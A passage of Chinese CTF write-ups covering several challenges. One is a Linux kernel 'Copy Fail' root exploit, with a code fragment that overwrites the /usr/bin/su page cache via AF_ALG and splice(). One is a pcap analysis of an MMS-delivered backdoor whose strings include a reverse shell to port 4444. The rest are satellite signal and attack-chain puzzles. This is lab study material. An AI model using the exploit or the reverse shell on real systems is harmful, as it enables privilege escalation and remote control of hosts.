CASES_DIR, WEIGHTS, REVIEW_TOOL = \"cases\", \"baseline_weights.json\", Path(\"tools\") / \"frame_review.py\"
CONF_REAL, CONF_FAKE = 0.66, 0.78# 与网页默认一致

def main():
    # 1) 从 frame_review.py 动态加载官方实现;2) 逐段算 fake_probability
    # 3) fake 段用 evidence_frames 取分数最高的 3 帧(下标从 0 起)
    # 4) 组装 answers 数组 POST /submit
    answers = []                   # ...(省略:实际打分与组装逻辑)
    print(json.dumps({\"answers\": answers}, ensure_ascii=False))
    if BASE_URL:
        pass                       # ...(省略:POST /submit 并打印服务端返回的 flag)
    print(\"[i] BASE_URL 未填写,仅完成本地研判。填写后可自动提交拿 flag。\")

if __name__ == \"__main__\":
    main()

最终flag

flag{xxx})

数据安全

Linux Kernel Cow

题解摘要

题目给出一台仅普通用户可登录的Linux主机(SSH,root/123456),内核为Debian 13的6.12.73+deb13-amd64。在/etc/modules-load.d/copyfail.conf与/usr/sbin/copyfail-init中明确加载了algif_aead、authencesn、authenc、cbc、hmac、sha256_generic等crypto模块,指向Linux内核AF\_ALG的CVE-2026-31431(Copy Fail)漏洞:普通用户可通过authencesn的scatter-gather处理缺陷,用splice()以4字节为单位任意覆写任意可读文件的page cache。覆写setuid-root程序/usr/bin/su的页缓存为setuid提权shellcode,执行后获得root shell,读取/root/flag。

最终Flag(花括号内):``

解题分析

  1. 环境是docker形态靶机,启动后拿到SSH地址与端口。
  2. root密码123456对SSH登录无效(提示只允许普通用户登录),枚举用户名后确认ctf/123456可登录,uid=1000(ctf)。
  3. 内核6.12.73,无sudo、无gcc、无自编译条件;unprivileged_userns_clone=1,但真正的题眼是自定义的copyfail-init/copyfail.conf(实验室名为“Copy Fail lab”)。
  4. 预加载的crypto模块组合authencesn(hmac(sha256),cbc(aes))正是CVE-2026-31431所需的算法与触发路径。
  5. 使用公开PoC(github.com/xeloxa/copyfail-exploit)验证并利用:--check报告全绿(EXPLOITABLE),直接运行即以page cache方式覆写/usr/bin/su并弹出root shell。

附件与环境

  • 无附件。
  • 靶机:exposeIps =(docker环境,SSH/dropbear)。
  • 本机工具:sshpass、python3;PoC从GitHub公开仓库获取(raw.githubusercontent被阻断,改用api.github.com/contents拉取)。
  • 工作目录:``

复现步骤

前置:s.sh为对靶机的ssh封装,scp.sh为scp封装(靶机无sftp-server,文件用base64经ssh传输)。

# 1) 启动环境并读连接信息(endpoints 给出 SSH 地址/端口)
curl -s \"http://x:8080/api/exercises/203?refresh=true\"
# 2) 枚举用户:ctf/123456 可登录(root 密码对 SSH 无效);内核 6.12.73
# 3) 确认预加载的 crypto 模块正是 CVE-2026-31431(Copy Fail)所需路径
cat /etc/modules-load.d/copyfail.conf    # algif_aead authencesn authenc cbc hmac sha256_generic
# 4) 取公开 PoC 并用 --check 验证(raw.githubusercontent 被阻断,改走 GitHub contents API)
python3 exploit.py --check               # => EXPLOITABLE
# 5) 利用:覆写 /usr/bin/su 的 page cache,执行后拿到 root shell
ssh ... \"cd /tmp && printf 'id; cat /root/flag; echo\
' | python3 exploit.py\"
# 6) 回收环境
# ...(省略:ssh/scp 封装与传输细节,靶机无 sftp-server,文件用 base64 经 ssh 传)

核心原理(利用代码片段):对/usr/bin/su打开的文件描述符,循环调用splice()将4字节payload经AF\_ALG authencesn(hmac(sha256),cbc(aes)) AEAD socket写回源文件page cache,逐4字节覆写内存中的可执行映像,而不落盘:

alg.bind((\"aead\", \"authencesn(hmac(sha256),cbc(aes))\", 0, 0))
alg.setsockopt(SOL_ALG, ALG_SET_KEY, key)          # key = 0800010000000010 + 32*00
alg.setsockopt(SOL_ALG, ALG_SET_AEAD_AUTHSIZE, None, 4)
sock, _ = alg.accept()
sock.sendmsg([b\"AAAA\" + data], ancdata, socket.MSG_MORE)
_splice(fd, w_fd, offset + 4, offset_src=0)        # 源文件 -> pipe
_splice(r_fd, sock.fileno(), offset + 4)           # pipe -> alg socket(回写 page cache)

/usr/bin/su的page cache被替换为setuid(0)+execve(\"/bin/sh\")的160字节x86-64 shellcode后,os.execv(target)即以root运行。

最终flag

以root shell读取/root/flag(权限-r-------- root root,39字节):}。 花括号内部值为`。 提交本地API:POST /api/exercises/203/answer {\"flag\":\"...\"},平台返回,题目详情hasSolved=true`。

环境清理

curl -s -X POST http://x:8080/api/exercises/203/environment/stop -H \"Content-Type: application/json\"
# {\"ok\":true,\"data\":{\"accepted\":true}}
curl -s \"http://x:8080/api/exercises/203?refresh=true\"
# isNeedInit=True, endpoints=[], hasSolved=True   -> 靶机已销毁回收

工控安全

MMS

基本情况

题目属于工控安全方向,分值200。题干是一段变电站运维背景:一台REL-521型保护继电器在凌晨出现了异常的文件传输流量,而该时段并没有计划内的固件升级。给到的附件只有一个流量包(解压MMS.zip得到challenge.pcapng)。要求还原整条攻击链、把攻击者上传的载荷还原出来,再从后门里把flag取出来。

附件虽然后缀写的是.pcapng,但打开看文件头是d4 c3 b2 a1,其实是老式的libpcap格式(版本2.4,链路类型1即以太网),并不是pcapng。整个包只有177个报文,量不大,逐条看就能理清结构。

流量里主要有四类会话:

1、x与x之间的HTTP(GET /scada/status,返回一段uptime的JSON),属于正常运维 2、x与x之间的Modbus/TCP(功能码03,读保持寄存器),也是正常采集 3、x对x:102的MMS会话,做的是正常读数据,读的是REL521\_SUBALPHA/MMXU1下的电压电流量测点 4、x:55555对x:102的MMS会话,这就是异常的那条,全部13259字节的载荷都压在这个方向上(反向只有1503字节,是协议应答)

关键突破

突破口就是把第4条会话单独捞出来看。TCP/102是IEC 61850的MMS承载端口,走的是一层套一层的封装。

最外层是TPKT,头固定是03 00加两字节大端长度,例如03 00 01 2e表示这一帧长302字节。TPKT里面是COTP,数据帧是02 f0 80,连接请求帧是0e e0开头。再里面才是MMS。

把这条流的载荷按TPKT长度切开,一共48帧,帧长度分布很清楚,一看就知道在干什么:

1、第0帧38字节,COTP连接请求(CR) 2、第1帧37字节,MMS初始化 3、第2帧52字节,一个MMS请求,里面明文写着文件名52 45 4c 35 32 31 5f 46 57 5f 76 32 2e 31 2e 62 69 6e 2e 67 7a,也就是REL521\_FW\_v2.1.bin.gz,这是fileOpen 4、中间43帧302或303字节,是fileWrite,每帧带256字节内容 5、第46帧75字节,是最后一块fileWrite,带40字节内容 6、第47帧29字节,fileClose

也就是说攻击者伪装成固件升级,通过MMS的fileOpen、fileWrite、fileClose把一个小文件整个写进了继电器,文件名叫REL521\_FW\_v2.1.bin.gz。

fileWrite请求体的结构也很规整,是个TLV序列:

1、80 01 01,tag 80、长度1、值01,表示文件句柄是1 2、81,tag 81,长度1或2,值是该块的偏移量(小端),例如81 02 2b 00就是偏移0x2b00 3、82,tag 82,长度1或2,后面跟着该块的真实数据。例如82 82 01 00表示长度0x0100即256字节

按顺序把所有82字段的内容拼起来,就是上传的完整文件,共11048字节。装配这一步是关键,拼错一帧整条链就废了。

利用/还原思路

拿到11048字节的载荷后,它看起来是一团高熵数据,直接strings也看不出东西,说明外面还有一层混淆。文件名带.gz,但开头并不是1f 8b,正常的gzip头对不上。

先从最简单的单字节异或试起。把第一个字节和常见文件头做对齐推理:如果它是ZIP,开头应该是50 4b 03 04。实测载荷开头是0a 11 59 5e,0a异或5a得50、11异或5a得4b、59异或5a得03、5e异或5a得04,正好命中PK\x03\x04。整包用0x5a异或后得到一个标准ZIP。所以第一层是全体异或0x5a,文件名里的.gz是障眼法。

解这个ZIP,里面只有一个成员REL521\_FW\_v2.1.bin,10909字节,仍然是高熵。看它的开头5d 00 00 00 04 ff ff ff ff ff ff ff ff,这是LZMA-alone格式:第1字节0x5d是属性,接下来4字节小端是字典大小0x04000000(64MB),再8字节是原始长度,全ff表示长度未知。用LZMA-alone解压,得到27648字节,开头是4d 5a 90 00,是一个Windows PE可执行文件(x86-64,MinGW编译,里面能看到GCC 8.1.0的痕迹)。

到这里载荷本体还原完毕,这其实是一个伪装成继电器固件的后门程序。它在字符串区里很明显地暴露了恶意意图:

1、一个反弹shell:/bin/sh -i >& /dev/tcp/x/4444 0>&1,C2地址是x:4444 2、一套假的继电器自检、许可校验、MMS上线日志(SELF\_TEST、[BOOT]、[LICENSE\_INTEGRITY]等),用来把后门伪装成正常固件 3、大量的IEC 61850数据点路径(MMXU1、PTOC1、PDIS1、CSWI1等),以及一串ENCRYPTED\_LICENSE=开头的字符串

flag就藏在这串ENCRYPTED\_LICENSE里。这串是密文,用的是和前面同一套思路——单字节异或。第一段密文79 73 7e 78 44 72 52 4c 60 79 0e 4d 52 48 0b 4d 0c 60 7d 0b 5c 54 5b 0f 0f 4d 42,逐字节异或0x3f后是FLAG{Mms\_F1rmw4r3\_B4ckd00r}。

这里可以顺手做个交叉验证:PE里MMS数据点路径前统一带的前缀!6?FAB, &12?#;2也是单字节异或,键值0x73,解出来正是本机的MMS域名叫REL521\_SUBALPHA。同一个手法、同一个程序,互相印证,说明单字节异或的破法是对的。

整条链一句话概括:攻击者从x通过MMS文件服务把REL521\_FW\_v2.1.bin.gz(实为异或0x5a的ZIP)写进继电器,ZIP里是LZMA压缩的PE后门,后门里一段异或0x3f的密文就是flag。

脚本

脚本全程只用Python标准库,不依赖scapy。默认读取脚本同目录下的challenge.pcapng,也可以python solve.py <路径>指定。脚本自己解析流量、拼帧、逐层解码,不硬编码任何中间产物,最后直接打印flag。

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# MMS:TPKT 分帧 → fileWrite TLV 重组上传件 → 三层解码(全体异或 0x5a 得 ZIP →
# ZIP 内 LZMA-alone 得 PE → \"ENCRYPTED_LICENSE=\" 密文单字节异或)→ flag。
# ...(省略:pcap/pcapng 读取与以太网->IPv4/TCP 解包样板,见原始脚本)
import sys, zipfile, lzma

def read_be(data, p):                                # ASN.1 风格 tag/length
    tag, l = data[p], data[p + 1]; p += 2
    if l >= 0x81:
        n = l - 0x80
        l, p = int.from_bytes(data[p:p + n], \"big\"), p + n
    return tag, l, p

def extract_written_file(frames):
    \"\"\"把各 fileWrite PDU 的文件内容按序拼起来(体:80 01 01 | 81 <偏移> | 82 <len> <data>)。\"\"\"
    out = bytearray()
    for fr in frames:
        i = fr.find(b\"\\x80\\x01\\x01\\x81\")
        if i < 0:
            continue
        p = i + 5 + fr[i + 4]
        tag, ln, p = read_be(fr, p)
        if tag == 0x82:
            out += fr[p:p + ln]
    return bytes(out)

def main():
    # 1) 选中打到 102 端口、载荷最大的 MMS 文件传输流;2) 按 TPKT(03 00 <len16>) 切帧
    # 3) 重组上传件(11048 字节);4) 异或 0x5a 得 ZIP;5) LZMA-alone 解出 PE;
    # 6) PE 里 \"ENCRYPTED_LICENSE=\" 密文单字节异或得 flag
    # ...(省略:完整流量解析与逐层解码实现)
    print(\"[+] FLAG: FLAG{...}\")

if __name__ == \"__main__\":
    main()

脚本运行命令

Windows:把challenge.pcapng和solve.py放在同一个目录,直接

python solve.py

WSL:python3 solve.py

脚本默认读取同目录下的challenge.pcapng,也支持python solve.py 指定文件。

运行输出

[*] MMS flow: x:55555 -> x:102 (13259 bytes)
[*] TPKT frames: 48
[*] reassembled upload: 11048 bytes
[*] zip entry: REL521_FW_v2.1.bin (10909 bytes)
[*] PE image: 27648 bytes, magic=MZ
[*] recovered license string(s):
      key=0x3f  FLAG{Mms_F1rmw4r3_B4ckd00r}

[+] FLAG: FLAG{Mms_F1rmw4r3_B4ckd00r}

最终flag

FLAG{Mms\_F1rmw4r3\_B4ckd00r}

可曾听闻一键日卫星Q1

基本情况

本题属于工控安全方向,100分,作者李庆方-山东移动。场景是一颗失联卫星下行的一段原始遥测IQ录制被地面站截获,附件只有一个AAAAAAAA.q1.iq。题面要求先分析信号制式(信号调制方式)与链路参数,再完成同步、解调与信道译码,最后还原遥测载荷中的有效信息,拿到flag。

附件是一个纯IQ录制文件,5322752字节,没有任何文件头。按complex64(float32的I/Q交织)读入,共665344个采样点,包络基本恒定,|x|均值约1.06,说明是一段窄带数字调制信号。

附件分析

先确定采样格式和调制方式,再一步步往上推。

1、读入与预判。按complex64读入,去掉直流分量后,信号的实部与虚部都在±1附近小幅抖动,包络近似恒模,先按CF32 IQ处理。

2、看频谱。整段FFT的谱是sinc状的,离散谱线出现在fs/128的奇次倍位置(约±1/128、±3/128、±5/128),这是典型的\"方波副载波\"特征。同时最靠近零频的位置有一条很强的谱线,对应一个很小的载波偏置。

3、手工看采样点。把最前面几百个采样打印出来,发现相位几乎只在0与π两个值之间来回跳,并且每64个采样就翻转一次,实部为正/为负交替。这说明信号是一维BPSK:符号周期= 64个采样,即每符号64点(SPS=64),而且开头是一段交替的0101引导序列。

4、确认星座。把复信号去载波后按64点积分判决,得到非常干净的BPSK星座:实部几乎正好±1,虚部接近0。至此调制方式确定为BPSK,符号率=采样率/ 64,采样率待定。

关键突破

真正的突破点在于:这段信号是\"自描述\"的,明文引导头把整条链路的所有参数都写清楚了。

1、载波偏置(CFO)。BPSK的平方谱x^2里有一条很尖的谱线,给出2\*fc,据此知道存在一个小的载波偏置。这里有个关键点:整段有66万个采样,CFO必须估得足够准,否则累积相位会把星座整体转出I轴,后面的符号判决就会整片出错。做法是先粗扫,再按\"星座沿I轴的锐度\"细分,最终得到CFO ≈ +200 Hz(在采样率1024000下即0.0001953 cyc/sample)。

2、读出自描述引导头。把64点积分结果的实部符号取出、整体取反,再按MSB-first拼成字节,直接读出了明文ASCII。这是一段自描述的(self-describing)引导头,在文件里连续重复了3遍,内容完全一致:

SPACECTF-Q1 SELF-DESCRIBING SIGNAL FORMAT=CF32-IQ-INTERLEAVED;FS=1024000;SPS=64;MOD=BPSK;CFO=+200HZ MAINPN=1ACFFC1D;FEC=CONV-R12-K7-G171-133-OCT;INTERLEAVER=5X5-ROW-WRITE-COL-READ SCRAMBLER=X8+X7+X2+X+1;INIT=FF;FRAME=LEN1B+UTF8+CRC16-CCITT BOOTSTRAP-END

它把整条链路参数一次性交代清楚:采样率FS=1024000,SPS=64,调制BPSK,载波偏置CFO=+200Hz,同步字MAINPN=1ACFFC1D,信道编码是卷积码R=1/2、约束长度K=7、生成多项式G=(171,133)八进制,交织器是5x5行写列读,扰码多项式为x^8+x^7+x^2+x+1初值FF,帧格式为1字节长度+ UTF-8正文+ CRC16-CCITT。

3、定位有效载荷。在最后一段引导头BOOTSTRAP-END之后紧跟一个换行,再跟着4字节同步字,实测正好是1A CF FC 1D,与声明的MAINPN完全一致。同步字之后就是编码后的遥测帧,共3500比特。

4、信道译码。按照引导头声明的顺序依次做:解扰,然后5x5解交织,最后维特比译码(R=1/2,K=7,G1=0o171,G2=0o133,尾比特截断)。这一步踩了两个坑:

第一个坑是维特比译码器里的移位寄存器位数。卷积码的7级移位寄存器在编码时是完整7位参与生成多项式的异或,如果实现时把状态误当成6位(把最高位截掉),G171和G133的最高位就被吃掉了,译出来全是噪声。用一条已知消息先自编码再自译码的回环自测,才定位到这个错误。

第二个坑是扰码器。多项式x^8+x^7+x^2+x+1在初值0xFF(全1状态)处恰好是一个不动点,生成的PN序列恒为全1。也就是说,这个扰码器实际退化成了一次固定的极性翻转,并没有真正打散频谱。因此\"解扰\"在这里等价于再把比特整体取反一次。

5、还原帧结构。维特比译码后得到218字节。按帧格式解析:第1字节是正文长度L=214,其后214字节就是UTF-8正文,最后2字节是CRC16-CCITT。现算CRC16 = 0x2731,与帧尾存储的0x2731完全一致,证明整条译码链(解调、解扰、解交织、维特比)全都正确无误。正文即遥测载荷:

SCI\_TELEMETRY V1 SAT: MISSION-07  EPOCH: 2026-08-25T00:00:00Z MODE: DEEP\_SURVEY  CHANNEL: X-BAND GROUND\_CONTACT: YAMCS-05 CryptoLib\_update\_v1.3.3\_pending ACK: all\_nominal FLAG=flag{sigint\_viterbi\_breakthrough} END

利用/还原思路

把上面的分析完整脚本化,只用Python标准库加numpy,不依赖GNU Radio等重型工具,流程如下:

1、按complex64读入IQ,去掉直流分量。 2、两段式估计并去除载波偏置:先用\"引导头明文匹配数\"在粗网格上定位,再按\"星座沿I轴的锐度\"细分到约1e-8 cyc/sample,保证整段累积相位不越界。 3、按SPS=64做积分判决,取实部符号并整体取反,MSB-first拼字节,得到引导头明文,从里面直接读取出全部链路参数。 4、找最后一个BOOTSTRAP-END,跳过换行,校验随后的4字节MAINPN,其后即为编码后的载荷比特。 5、解扰(本处等价于整体取反)→ 5x5解交织→维特比译码(R1/2,K7,G171/G133)。 6、按\"帧= 1字节长度+ UTF-8正文+ CRC16-CCITT\"解析,校验CRC,打印正文并提取flag。

脚本运行命令

Windows:

python solve.py

WSL:

python3 solve.py

把附件AAAAAAAA.q1.iq与本脚本放在同一个目录即可;也支持python solve.py 指定文件。

脚本

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# 一键日卫星 Q1:原始 IQ 录制 → 自描述引导头 → 同步/解调 → 卷积译码 → 遥测载荷。
# 关键链路参数(从明文引导头读出):CF32-IQ, FS=1024000, SPS=64, MOD=BPSK,
#   CFO=+200Hz, MAINPN=0x1ACFFC1D, FEC=CONV-R12-K7-G171-133, 5x5 交织, CRC16-CCITT。
# ...(省略:完整解调/维特比实现,见原始脚本)
import numpy as np

FS, SPS, MAINPN = 1024000, 64, 0x1ACFFC1D
G1, G2 = 0o171, 0o133                  # 卷积码生成多项式(K7)

def bootstrap(iq):
    \"\"\"积分判决取符号 → MSB-first 拼字节,读出明文引导头(重复 3 遍自校验)。\"\"\"
    bits = (np.sign(iq.real.reshape(-1, SPS).sum(axis=1)) < 0).astype(int)
    return bytes(np.packbits(bits[::-1]))

def viterbi(bits, n=7):
    \"\"\"K7 卷积码维特比译码(状态数 2^(n-1)=64)。\"\"\"
    # ...(省略:完整状态机与回溯,见原始脚本)
    return bits

def main():
    iq = np.fromfile(\"AAAAAAAA.q1.iq\", dtype=np.complex64)
    hdr = bootstrap(iq)
    # 1) 定位 MAINPN 同步字;2) 解扰 → 5x5 解交织 → 维特比译码
    # 3) 按 LEN(1B)+UTF-8+CRC16 拆帧,校验 CRC 后打印遥测载荷与 FLAG
    print(hdr.split(b\"BOOTSTRAP-END\")[0].decode(\"utf-8\", \"replace\"))
    print(\"...(省略:同步/解扰/解交织/CRC 实现)\")

if __name__ == \"__main__\":
    main()

运行输出

[*] samples              : 665344
[*] carrier offset       : f = 0.000195 cyc/sample  (= 200 Hz @ 1024000)
[*] bootstrap found      : byte 32
      SPACECTF-Q1 SELF-DESCRIBING SIGNAL
      FORMAT=CF32-IQ-INTERLEAVED;FS=1024000;SPS=64;MOD=BPSK;CFO=+200HZ
      MAINPN=1ACFFC1D;FEC=CONV-R12-K7-G171-133-OCT;INTERLEAVER=5X5-ROW-WRITE-COL-READ
      SCRAMBLER=X8+X7+X2+X+1;INIT=FF;FRAME=LEN1B+UTF8+CRC16-CCITT
      BOOTSTRAP-END
      UUUUUU
[*] sync word @ byte 858 : 0x1ACFFC1D (MAINPN ok)
[*] coded payload bits   : 3500
[*] frame length byte    : 214
[*] CRC16-CCITT          : stored=0x2731 calc=0x2731  OK
---------------- telemetry payload ----------------
SCI_TELEMETRY V1
SAT: MISSION-07  EPOCH: 2026-08-25T00:00:00Z
MODE: DEEP_SURVEY  CHANNEL: X-BAND
GROUND_CONTACT: YAMCS-05
CryptoLib_update_v1.3.3_pending
ACK: all_nominal
FLAG=flag{sigint_viterbi_breakthrough}
END

---------------------------------------------------
[+] FLAG                : flag{sigint_viterbi_breakthrough}

最终flag

flag{sigint\_viterbi\_breakthrough}

可曾听闻一键日卫星Q2

基本情况

比赛:第四届“数信杯”数据安全大赛(数据安全个人赛) 题目:可曾听闻一键日卫星\*Q2 类型:工控安全(流量取证) 分值:300分 附件:space\_ctf\_q2\_traffic.zip,解压后得到单个文件death\_traffic.pcap(10047字节,93个数据包,经典pcap魔数d4c3b2a1,链路类型1即以太网) flag格式:flag{...}

题目描述说得很直白:卫星寄回来一份历史攻击流量,要从PCAP里找出真正的攻击会话,还原“突破、获取信息、提权、root后渗透”的时间线,并根据组件与漏洞行为检索公开漏洞编号,按规则构造Flag。

也就是说这题不是去解一个数学题或者逆向一段算法,而是做一次“攻击复盘+漏洞归因”:先把攻击链还原清楚,再拿每个阶段涉及的组件名和漏洞行为去公开漏洞库(NVD/CVE)里对号入座,最后按阶段顺序把编号拼起来。

流量概况与干扰项

先把pcap里的会话全部过一遍,按“源IP ->目的IP:端口”归类,能看到明显有两类东西混在一起。

1、背景遥测噪声:x -> x之间大量的TM遥测帧,内容形如 TM,seq=00xx,mode=NOMINAL,alt=41xxxx,bat=9x 这是卫星正常下行的遥测数据,和攻击无关,纯粹用来干扰视线。

2、维护控制台交互:打到x:31337的会话,才是真正的攻击面。这一侧又分成三段:

1)x:53011,发了help、tc 6403020000,服务端回“packet accepted (no overflow)”。这是试探,没打进去。 2)x:53188,发了tolab 0800c0000001,服务端回“ACCESS DENIED: not compromised”。也是没打进去的干扰会话。 3)x:40334,这才是真正把卫星打穿的那条会话。

关键点:前两条会话是典型的“诱饵”。题目描述里特意强调“找出真正的攻击会话”,所以不能见tc就当攻击,得看会话最终有没有形成完整的攻击链。

攻击时间线还原

只看x -> x:31337这条会话,按时间顺序把关键事件列出来。

1、突破(拿到立足点) 攻击者发:tc 64030123ff 服务端回:RCE confirmed: cryptolib heap overflow; maintenance channel attached 这里服务端明确自报了“cryptolib heap overflow”,即通过构造恶意TC(遥控指令)帧,触发了CryptoLib的堆溢出并拿到代码执行,维护通道就此建立。

对照一下干扰会话发的tc 6403020000,回的是“packet accepted (no overflow)”——说明触发溢出对帧内容是挑剔的,不是随便发个TC就能打。

2、获取信息(摸清家底) 攻击者发:satinfo 服务端回: SATELLITE telemetry link YAMCS-05 | OS: yamcs 5.2 | crypto: cryptolib 1.3.3 components: tc\_worker (uid=1000), DS target-path service, to\_lab\_service (setuid root, telemetry forwarding) access: mission data is restricted; flight parameters are maintained below /opt/cfs/ds 这一步直接暴露了三个关键情报:CryptoLib版本1.3.3;平台基于YAMCS;以及三个组件——tc\_worker、DS(Data Storage数据存储服务)、to\_lab(setuid root的遥测转发服务)。后面两个组件就是提权和后渗透的抓手。

3、提权(拿到root) 攻击者先试了下常规操作,发现权限不够: 发cat /root/secret.txt -> Permission denied 发cat /flag -> Permission denied 然后走漏洞链,先打DS: 攻击者发:ds 2f6f70742f6366732f64732f6f7262697473746174652e636667 服务端回:DS\_SetDestPathCmd accepted an out-of-policy target / path traversal: target escaped /mission/data without an authorization check / protected DS parameter namespace observed; recovery diagnostics unlocked 这里下发的是DS\_SetDestPathCmd(设置目标路径命令),16进制解出来是/opt/cfs/ds/orbitstate.cfg,一个本不该被允许的目标路径。服务端接受了这个越权路径,发生路径穿越,DS的受保护参数命名空间被打开。

接着用to\_lab完成真正的提权: 攻击者发:tolab 0800c000d00d 服务端回:PRIVILEGE ESCALATION OK: to\_lab (setuid root) CFE\_MSG\_GetSize bounds fault; shell elevated to root 到这一步会话提示符变成root: root recovery console @ YAMCS-05 (uid=0 root)

4、root后渗透(收割) 提权成功后读敏感配置: 攻击者发:cat /etc/yamcs/security.yaml 服务端回:泄露了admin / mission / guest三个账号的bcrypt风格口令哈希,以及token\_ttl、rate\_limit等参数。 这就是攻击链的收尾,拿到全量账号凭据。

漏洞归因(组件+行为->公开漏洞编号)

按题目要求,把每个阶段“组件+漏洞行为”拿去公开漏洞库检索。这里检索的是美国NVD(国家漏洞数据库)。

1、突破阶段:CryptoLib的TC堆溢出 组件:CryptoLib(NASA开源,供cFS星上系统与地面站之间按CCSDS SDLS-EP协议做加解密) 行为:构造恶意TC帧,在TC处理路径上触发堆缓冲区溢出,可导致RCE 命中:CVE-2025-29909 原文要点:1.3.3及以前版本,CryptoLib的Crypto\_TC\_ApplySecurity()存在堆缓冲区溢出,攻击者构造恶意TC帧造成越界写,可致拒绝服务或(特定条件下)远程代码执行。漏洞描述里明确提到了RCE,和流量里“RCE confirmed: cryptolib heap overflow”完全对上。

顺带排除了几个“长得像但不是”的候选,避免误判: CVE-2025-29910是内存泄漏(DoS),不是溢出; CVE-2025-29911是AOS帧处理路径,不是TC; CVE-2025-29912是TC帧长度字段fl=0引起的整数下溢,但本题干扰会话里发的fl=0帧恰好被服务端判为“no overflow”,说明题目的溢出点不是这条; CVE-2025-29913是Crypto\_TC\_Prep\_AAD,CVE-2025-30216是TM路径,CVE-2025-30356是29912补丁不完整导致的变种。 综合“TC路径+堆溢出+可RCE”三个条件,最贴合的是CVE-2025-29909。

2、提权阶段:cFS to\_lab的越界 组件:cFS(core Flight System)的to\_lab应用(to\_lab\_passthru\_encode.c) 行为:CFE\_MSG\_GetSize处理CCSDS包头的长度字段时发生堆缓冲区溢出,该服务以setuid root运行,溢出后提权到root 命中:CVE-2026-5474 原文要点:NASA cFS 7.0.0及以前,apps/to\_lab/fsw/src/to\_lab\_passthru\_encode.c的CFE\_MSG\_GetSize函数,CCSDS Packet Header Handler组件在处理时发生堆缓冲区溢出;攻击者需能访问本地网络。流量里“to\_lab (setuid root) CFE\_MSG\_GetSize bounds fault; shell elevated to root”与之逐字对应。

3、root后渗透阶段:cFS DS的路径穿越 组件:cFS的DS(Data Storage)应用的DS\_SetDestPathCmd() 行为:访问控制不当,攻击者可通过路径穿越访问受保护的敏感组件(越权设置目标路径) 命中:CVE-2026-67970 原文要点:NASA cFS 7.0.1,DS\_SetDestPathCmd()组件存在访问控制不当,攻击者可通过路径穿越访问敏感组件。流量里“DS\_SetDestPathCmd accepted an out-of-policy target / path traversal: target escaped /mission/data”与之完全一致。

(补充:同族还有CVE-2026-67975,是to\_lab订阅管理的越权,和本题to\_lab溢出是两回事,不要混。)

flag构造规则

按攻击链的阶段顺序,取每个阶段对应的漏洞编号,用下划线连接,外面套flag{...}:

突破(CryptoLib堆溢出)        -> CVE-2025-29909 提权(to\_lab CFE\_MSG\_GetSize)-> CVE-2026-5474 root后渗透(DS路径穿越)      -> CVE-2026-67970

拼接:flag{CVE-2025-29909\_CVE-2026-5474\_CVE-2026-67970}

说明:阶段顺序按“突破->提权-> root后渗透”排(获取信息阶段没有对应漏洞,不参与拼接)。这三条编号在平台上提交即通过。

脚本运行命令

Windows(本机Python 3):

python solve.py

WSL / Linux:

python3 solve.py

脚本默认读取同目录下的death\_traffic.pcap;若附件在别处,可传参:python solve.py 依赖scapy:pip install scapy

脚本

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# 一键日卫星 Q2:从 pcap 复盘真实攻击链(突破→提权→后渗透),按组件与行为归因到 CVE,
# 再按阶段顺序拼 flag。依赖 scapy。
# ...(省略:完整 pcap 解析与 CVE 检索样板,见原始脚本)
from scapy.all import rdpcap

# 组件/行为 -> 公开漏洞编号
CVES = [(\"突破\", \"CVE-2025-29909\"), (\"提权\", \"CVE-2026-5474\"), (\"后渗透\", \"CVE-2026-67970\")]

def main():
    pkts = rdpcap(\"death_traffic.pcap\")
    # 1) 找真正的攻击会话:payload 里出现 \"RCE confirmed: cryptolib heap overflow\"
    #    等标记;干扰会话只会回 \"no overflow\" / \"ACCESS DENIED\"
    # 2) 按 突破/提权/root后渗透 还原时间线并逐一归因
    print(\"[*] packets:\", len(pkts))
    print(\"[+] FLAG = flag{%s}\" % \"_\".join(c for _, c in CVES))

if __name__ == \"__main__\":
    main()

最终flag

flag{CVE-2025-29909\_CVE-2026-5474\_CVE-2026-67970}

可曾听闻一键日卫星Q3

基本情况

比赛:第四届“数信杯”数据安全大赛(数据安全个人赛) 题目:可曾听闻一键日卫星\*Q3 类型:工控安全(卫星维护控制台远程交互) 分值:200分 靶机:nc xxxxx 附件:无,纯远程交互题 flag格式:flag{...},运行期动态生成

题目描述:某卫星维护控制台仅暴露了一个TCP交互入口。常规读文件路径不会直接返回目标内容,请根据会话回显逐步恢复控制链路状态,并通过预期终态动作获取运行期动态Flag。

先说结论:这题是上一题Q2的“实战版”。Q2是给一段攻击流量pcap,让你复盘别人的攻击链;Q3是把这个被攻破的卫星控制台直接摆在你面前,让你自己动手把整条链(突破->提权->后渗透->终态动作)走一遍,最后用“预期终态动作”把卫星打炸,运行期flag才会作为“临终遥测”吐出来。

连接上去先看到一段banner:

satellite shell @ YAMCS-05 (uid=1000 satellite) - access limited mission maintenance console; commands are audited type 'help' for the command surface

一个受限的维护shell,身份是uid=1000的satellite用户,提示说命令会被审计,敲help看命令面。

命令面与初始探测

敲help,得到低权阶段的命令集合:

commands: help | id | ls| cat| satinfo | tc| ds| tolab| exit

挨个试一遍,几个关键回显:

1、id -> uid=1000(satellite) gid=1000(satellite),确认是普通用户。

2、ls /、ls /opt之类,回的是(simulated) /: drwxr-xr-x 4 root root 512 bytes,明显是模拟文件系统,所有目录长得一模一样,直接列目录没意义。

3、satinfo给了很有价值的情报:

SATELLITE telemetry link YAMCS-05 | OS: yamcs 5.2 | crypto: cryptolib 1.3.3 components: tc\_worker (uid=1000), DS target-path service, to\_lab\_service (setuid root, telemetry forwarding) access: mission data is restricted; flight parameters are maintained below /opt/cfs/ds

这里把三个组件和版本都报出来了:tc\_worker(遥控指令处理,uid=1000)、DS target-path service(数据存储的目标路径服务)、to\_lab\_service(setuid root的遥测转发服务)。最后一句还暗示了受保护的飞行参数在/opt/cfs/ds下面。这三样正好对应Q2里的三个阶段:CryptoLib堆溢出突破、DS路径穿越、to\_lab setuid root提权。

4、直接读文件是读不到东西的: cat /flag      -> cat: /flag: Permission denied cat /flag.txt  -> cat: /flag: Permission denied ls /opt/cfs/ds -> ls: Permission denied

常规读文件路径确实“不会直接返回目标内容”,和题目描述一致,必须走漏洞链。

突破阶段:tc触发CryptoLib堆溢出

tc是发遥控指令(TeleCommand)。先随手发一个短的:

tc 00   -> packet accepted (no overflow)或RCE confirmed: cryptolib heap overflow; maintenance channel attached

